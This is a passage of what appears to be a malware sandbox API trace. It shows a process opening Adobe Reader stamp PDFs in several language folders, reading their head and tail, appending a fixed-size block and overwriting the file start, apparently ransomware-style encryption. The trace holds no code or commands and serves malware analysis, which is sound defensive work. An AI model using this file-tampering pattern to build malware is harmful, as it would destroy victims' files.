lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x4aac [0034.944] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.944] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.944] WriteFile (in: hFile=0x1b4, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.944] CloseHandle (hObject=0x1b4) returned 1 [0034.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.945] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.945] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xcdd8 [0034.945] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.946] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.946] ReleaseMutex (hMutex=0x128) returned 1 [0034.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.946] ReadFile (in: hFile=0x1b4, lpBuffer=0x1dec518, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dec518*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.954] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xbdd8 [0034.954] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.955] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xbdd8 [0034.955] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.955] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.955] WriteFile (in: hFile=0x1b4, lpBuffer=0x1dec518*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dec518*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.956] CloseHandle (hObject=0x1b4) returned 1 [0034.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.957] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.957] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x132cc [0034.957] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.957] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.957] ReleaseMutex (hMutex=0x128) returned 1 [0034.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.958] ReadFile (in: hFile=0x1b4, lpBuffer=0x1dec518, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dec518*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.959] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x122cc [0034.959] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.960] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x122cc [0034.961] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.961] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.961] WriteFile (in: hFile=0x1b4, lpBuffer=0x1dec518*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dec518*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.961] CloseHandle (hObject=0x1b4) returned 1 [0034.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.962] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.962] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe6d5 [0034.962] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.963] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.963] ReleaseMutex (hMutex=0x128) returned 1 [0034.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.963] ReadFile (in: hFile=0x1b4, lpBuffer=0x1dec518, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dec518*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.965] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xd6d5 [0034.965] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.965] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xd6d5 [0034.965] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.965] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.965] WriteFile (in: hFile=0x1b4, lpBuffer=0x1dec518*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dec518*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.965] CloseHandle (hObject=0x1b4) returned 1 [0034.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.967] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.967] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x8c96 [0034.967] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.967] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.967] ReleaseMutex (hMutex=0x128) returned 1 [0034.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6334c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0034.967] ReadFile (in: hFile=0x1b4, lpBuffer=0x1dec518, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dec518*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.969] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7c96 [0034.969] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.969] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7c96 [0034.969] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.970] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.970] WriteFile (in: hFile=0x1b4, lpBuffer=0x1dec518*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dec518*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.970] CloseHandle (hObject=0x1b4) returned 1 [0034.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.971] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.971] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x44925 [0034.971] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.971] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.971] ReleaseMutex (hMutex=0x128) returned 1 [0034.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0034.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78b7c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0034.972] ReadFile (in: hFile=0x1b4, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0035.205] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x43925 [0035.205] ReadFile (in: hFile=0x1b4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.212] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x43925 [0035.212] WriteFile (in: hFile=0x1b4, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.212] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.212] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0035.212] CloseHandle (hObject=0x1b4) returned 1 [0035.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.220] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.220] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x9083 [0035.220] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.220] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.220] ReleaseMutex (hMutex=0x128) returned 1 [0035.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.220] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.229] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x8083 [0035.229] ReadFile (in: hFile=0x1b4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.230] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x8083 [0035.230] WriteFile (in: hFile=0x1b4, lpBuffer=0x2772488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772488*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.231] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.231] WriteFile (in: hFile=0x1b4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.231] CloseHandle (hObject=0x1b4) returned 1 [0035.232] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.233] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.233] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x12b04 [0035.233] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.233] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.233] ReleaseMutex (hMutex=0x128) returned 1 [0035.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0035.233] ReadFile (in: hFile=0x1b4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.238] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x11b04 [0035.238] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.239] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x11b04 [0035.239] WriteFile (in: hFile=0x1b4, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.239] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.239] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.239] CloseHandle (hObject=0x1b4) returned 1 [0035.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.241] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.241] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x907a [0035.241] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.241] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.241] ReleaseMutex (hMutex=0x128) returned 1 [0035.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 